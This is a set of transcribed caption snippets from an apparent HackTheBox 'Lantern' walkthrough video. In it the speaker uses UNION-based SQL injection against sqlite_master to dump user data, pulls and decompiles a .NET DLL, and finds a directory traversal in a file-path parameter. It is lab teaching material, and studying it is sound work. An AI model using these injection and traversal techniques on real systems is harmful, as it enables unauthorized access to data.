{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
line gets shown here if I change the ID to something that does not exist then we'll always see what a union select is right so if I go back to 1 two three I will just see this because um the Union's putting the query in place right when it was there before um it's probably only showing the top or last row right so even...
997.839
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
columns here like Please Subscribe and then at the end do a from and say what table we're getting it from but I find subqueries to be easier to read so let's do select and what do we want for SQL light um I want to say it's SQL from SQL light is it underscore Master like this yes it is so this is going to be the SQL ta...
1,056.28
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
view internal info because even though we created our employee um when we created it we didn't have any internal info so the homepage isn't showing us this field so let's see exactly what is in this field so I'm going to do a select we can say internal info and I also want to get the username we need we want that group...
1,131.2
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
append so let's also append a new line and that did not work we have the data here so let's just copy this so I'm going to copy all this field and go here and then let's see V Let's do internal lantern. dump paste this and then we'll search for back sln and let's replace it with a line break uh we probably want to brea...
1,214.159
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
when we're looking at Port 5000 right um when we're doing that SQL we weren't sending a any data back and forth to the server right which indicates um think let's see we just did a slash because we have the skipper proxy directing us here which indicates since when we're doing those SQL queries um since we weren't send...
1,302
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
say get rid of this cache repeater get rid of caching send the request it does give it so we can now copy the file I'm going to call this what internal lantern.
1,371.559
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
dll save it okay internal Lantern dll that's just data because we have the HTTP header so if I delete the header now we just have a net assembly so let's go ahead and decompile this with il spy and if you don't have IL spy um I would recommend watching the Blazer eyes video because that's where we actually download thi...
1,390.799
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
will become important later but a lot of this code just doesn't show up in the goey if we used um Peak from jet brains it does a much better job in terms of the goey but also for some reason if we just right click save code and we save it um it does a better job I don't know what the difference between viewing in this ...
1,472.96
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
oninitialized async we can see it is doing like a database migration or something like loading a SQL light database in memory here and we have all the information of each user so we have the uid internal info employee internal info so we have all that data here if we wanted to we could just grab this out of the file an...
1,546.12
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
I'm guessing that DB storage. JavaScript is like um refreshing the database and pulling updated queries and if we like extracted the browser memory we'd find it I'm not sure how to do that but uh if we grap for um was it internal info hopefully I have that there we go uh let's do a all field separator on single quote a...
1,611.36
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
dashboard it's logs and we have HTTP request here if we escape backwards we can see there's other modules we can load so we have file upload file tree logs health check um upload I'm seeing if there's anything else if we do R we get resumés so we can definitely see which modules it looks like they match kind of the com...
1,686.44
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }
we attempt to send the file for dubdub sites localization and then language file extension there's no standardization happening right here so that means we can probably um exploit a directory traversal so we'll probably set language to be a bunch of dot dot slashes and then file extension to be something because it's g...
1,754.6
0
{ "video_id": "nuwlmlEp4qY", "title": "HackTheBox - Lantern", "url": "https://www.youtube.com/watch?v=nuwlmlEp4qY" }